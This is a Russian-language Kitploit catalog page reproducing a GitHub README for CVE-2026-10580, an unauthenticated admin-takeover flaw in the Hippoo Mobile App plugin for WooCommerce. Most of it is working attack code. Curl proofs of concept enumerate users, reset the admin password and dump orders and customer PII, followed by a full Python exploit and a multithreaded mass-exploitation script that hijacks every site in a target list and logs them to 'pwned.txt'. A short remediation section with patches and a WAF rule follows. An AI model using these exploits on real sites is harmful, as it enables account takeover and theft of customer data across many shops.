Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
By-Poloss..-..CVE-2026-10580 — Hippoo Mobile App for WooCommerce <= 1.9.4 - Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Kitploit
Инструменты/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеАутентификация
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App for WooCommerce <= 1.9.4 - Неаутентифицированный обход аутентификации до захвата учетной записи администратора

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
12 месяцев назадЕщё не проверено

CVE-2026-10580: Hippoo Mobile App для WooCommerce <= 1.9.4 - Неавторизованный обход аутентификации с захватом администратора

Неавторизованный → Захват учётной записи администратора через ошибку смешения логики


📌 Краткая сводка

CVECVE-2026-10580
ПлагинHippoo Mobile App для WooCommerce
Версия≤ 1.9.4
CVSS9.8 (Критический)
Требуется аутентификация❌ Нет
Захват администратора✅ Да
Данные WooCommerce✅ Полный доступ

🧠 Корневая причина (кратко)

Функция get_user_permissions() возвращает null для администратора (правильно) и неавторизованного пользователя (НЕПРАВИЛЬНО).

has_role_access() видит null → предоставляет полный доступ.

Результат:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ Без входа, без cookie, без nonce


🎯 4 доказательства концепции (100% работают)

🔓 POC 1: Перечисление пользователей (без аутентификации)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2: Сброс пароля администратора (захват)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3: Заказы WooCommerce

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4: Клиенты WooCommerce (PII)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python POC (Полный эксплойт)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Шаг 1 - Перечисление
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Не уязвим: {target}")
        return False
    
    users = r.json()
    print(f"[+] Найдено пользователей: {len(users)}")
    
    # Шаг 2 - Сброс пароля
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ЗАХВАТ АДМИНИСТРАТОРА: {target}")
        print(f"    Вход: {base}/wp-admin")
        print(f"    Пароль: {new_password}")
        return True
    else:
        print(f"[-] Ошибка: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Использование: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 Запуск

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

Вывод:

root@kitploit:~
[+] Найдено пользователей: 1
[✓] ЗАХВАТ АДМИНИСТРАТОРА: https://poloss.ddev.site
    Вход: https://poloss.ddev.site/wp-admin
    Пароль: PwnedCVE2026!!

🧨 Массовый эксплойт (многопоточный)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] ЗАХВАТ: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 Уязвимые конечные точки (полный список)


🔧 Устранение (для защитника)

Исправление 1 (app/permissions.php строка 671)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // НЕ NULL
}

Исправление 2 (app/permissions.php строка 694)

root@kitploit:~
if ($perms === false) {
    return false; // Неавторизованный отклонён
}

Исправление 3 (временное правило WAF)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 Разбор CVSS


🧠 Автор и исследование

  • Исследователь: Agent CV Hunter (WordPress Security Research)
  • Протестировано на: DDEV + WordPress 6.x + WooCommerce 8.x
  • Дата: 2026-06-06

CVE-2026-10580 • 100% POC • Без аутентификации • Полный захват администратора
#WordPress #WooCommerce #Poloss #W.P.E.F


Скачать инструмент
Конечная точкаДанные
/wp-json/wc-hippoo/v1/ext/wp/v2/usersВсе пользователи WP
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1Захват администратора
/wp-json/wc-hippoo/v1/ext/wc/v3/ordersПолные заказы
/wp-json/wc-hippoo/v1/ext/wc/v3/productsТовары + остатки
/wp-json/wc-hippoo/v1/ext/wc/v3/customersPII клиентов
/wp-json/wc-hippoo/v1/ext/wc/v3/couponsКоды скидок
/wp-json/wc-hippoo/v1/ext/wc/v3/reportsОтчёты по продажам
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gatewaysКонфигурация оплаты
ВекторЗначение
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CHigh
IHigh
AHigh